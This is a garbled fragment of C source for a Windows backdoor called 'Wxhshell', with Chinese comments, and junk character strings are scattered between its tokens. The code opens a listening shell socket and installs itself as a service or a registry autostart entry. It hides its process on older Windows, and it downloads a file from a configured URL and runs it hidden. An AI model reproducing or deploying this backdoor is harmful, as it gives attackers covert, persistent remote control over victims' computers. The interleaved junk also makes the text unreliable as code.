8qBm bSVlk` return 0; // 注册表启动 :2njp% } e]jH+IR:> Bo<>e~6P // 主模块 R!l:O=[< int StartWxhshell(LPSTR lpCmdLine) u:aW 8 { TCT57P#b SOCKET wsl; ; 7N
Z<k BOOL val=TRUE; AuR$g7z int port=0; d
Le-nF struct sockaddr_in door; .{;Y'Zc14S RI68%ZoL if(wscfg.ws_autoins) Install(); sXd8rj:o rr#K"SP port=atoi(lpCmdLine); M xyN\Mq' J8Yd1.Qj if(port<=0) port=wscfg.ws_port; `%09xMPu mhW-J6u* WSADATA data; )'*5R <# if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b;)~wU= J9K3s_SN if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^(*n] setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oI^4pwn h door.sin_family = AF_INET; #Rg|BfV- door.sin_addr.s_addr = inet_addr("127.0.0.1"); p{PE@KO: door.sin_port = htons(port); -s9P8W 7}*6#KRG if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6U^\{<h_c closesocket(wsl); qF 9NQ; return 1; 54rkC/B> } C>[Uvc _|"Y]:j_ if(listen(wsl,2) == INVALID_SOCKET) { -l%J/ : closesocket(wsl); |+`c3*PV return 1; ~rjTF! } 5OoN!TEM Wxhshell(wsl); }du XC[ 6 WSACleanup(); :VF<9@t lg047K return 0; lV.F,3 jE#O>3+. } H3Se={5h\A 5e
sQ; // 以NT服务方式启动 !"+'A)Nve VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iS5W>1] { kD bhu^~B DWORD status = 0; {QCf}@_]h DWORD specificError = 0xfffffff; :>itXD! *6 _tQ9G serviceStatus.dwServiceType = SERVICE_WIN32; E*?<KZe" serviceStatus.dwCurrentState = SERVICE_START_PENDING; \6;=$f/?t serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4mn&4e serviceStatus.dwWin32ExitCode = 0; y>*xVK{D serviceStatus.dwServiceSpecificExitCode = 0; S$2b>#@UJ serviceStatus.dwCheckPoint = 0; K(XN-D/c serviceStatus.dwWaitHint = 0; 8u!"#S#>a
&YDK (&> hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *Z_C4Tj if (hServiceStatusHandle==0) return; iMfngIs | XJ2^MF2BU status = GetLastError(); kh%{C]".1 if (status!=NO_ERROR) 3=W!4 { 9o>8o serviceStatus.dwCurrentState = SERVICE_STOPPED; Z'H5,)j0R serviceStatus.dwCheckPoint = 0; 6rS$yjTX! serviceStatus.dwWaitHint = 0; OLI$1d_ serviceStatus.dwWin32ExitCode = status; rpw.]vnn serviceStatus.dwServiceSpecificExitCode = specificError; pHoEa7: SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4nAa`(62 return; 8( btZt } z"*/mP2 ~^+0 serviceStatus.dwCurrentState = SERVICE_RUNNING; W
d0NT@ serviceStatus.dwCheckPoint = 0; \P1=5rP serviceStatus.dwWaitHint = 0; Dde]I_f} if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M4xi1M#% } 0-{tFN #M A4 // 处理NT服务事件,比如:启动、停止 #[#KL/i)$ VOID WINAPI NTServiceHandler(DWORD fdwControl) m~uOXb { y*MF&mQ[ switch(fdwControl) ':R,53tjl { 7mm1P9Z case SERVICE_CONTROL_STOP: f-nz{U serviceStatus.dwWin32ExitCode = 0; Y'e eA 2O serviceStatus.dwCurrentState = SERVICE_STOPPED; \p%3vRwS%p serviceStatus.dwCheckPoint = 0; sZ?mP;Q serviceStatus.dwWaitHint = 0; :a:l
j { #Wu*3&a]yU SetServiceStatus(hServiceStatusHandle, &serviceStatus);
Mkq( T[) } ~n}k\s~|4 return; +{]xtQB=,{ case SERVICE_CONTROL_PAUSE: @|'5n serviceStatus.dwCurrentState = SERVICE_PAUSED; wW>)(&!F break; w\}?( uO case SERVICE_CONTROL_CONTINUE: >[6{LAe~hp serviceStatus.dwCurrentState = SERVICE_RUNNING; ?bw4~ break; <'G~8tA%v case SERVICE_CONTROL_INTERROGATE: Xv@SxS-5l break; L4L2O7 }; ){r2T1+-% SetServiceStatus(hServiceStatusHandle, &serviceStatus); qF iLh9=D } \
u_ui R>`}e+-D // 标准应用程序主函数 4`Ic&c/ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sKyPosnP { mXUYQ82 -Z-IF#% // 获取操作系统版本 ](F#`zUQ OsIsNt=GetOsVer(); 9_sA&2P{uV GetModuleFileName(NULL,ExeFile,MAX_PATH); rxme(9M MQ)L:R`L // 从命令行安装 `>o?CIdp if(strpbrk(lpCmdLine,"iI")) Install(); {,OS-g }h 3K@R
// 下载执行文件 .vG,fuf8 if(wscfg.ws_downexe) { 7Ol}EPf# if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H:H6b WinExec(wscfg.ws_filenam,SW_HIDE); OCy0#aPRS } ;L&TxO>#J E\m5%bK\B if(!OsIsNt) { M,}|tsL // 如果时win9x,隐藏进程并且设置为注册表启动 . @Ut?G HideProc(); -YD+(c`l StartWxhshell(lpCmdLine); lO:.OZu } jp' K%P else 2DD:~Tbi if(StartFromService()) 7 h y&-< // 以服务方式启动
rxO2QQ%V StartServiceCtrlDispatcher(DispatchTable); PQ|69*2G else 5d@t7[] // 普通方式启动 ( )sTb>L StartWxhshell(lpCmdLine); JY!l!xH(6 7=]i~7uy return 0; flgRpXt }
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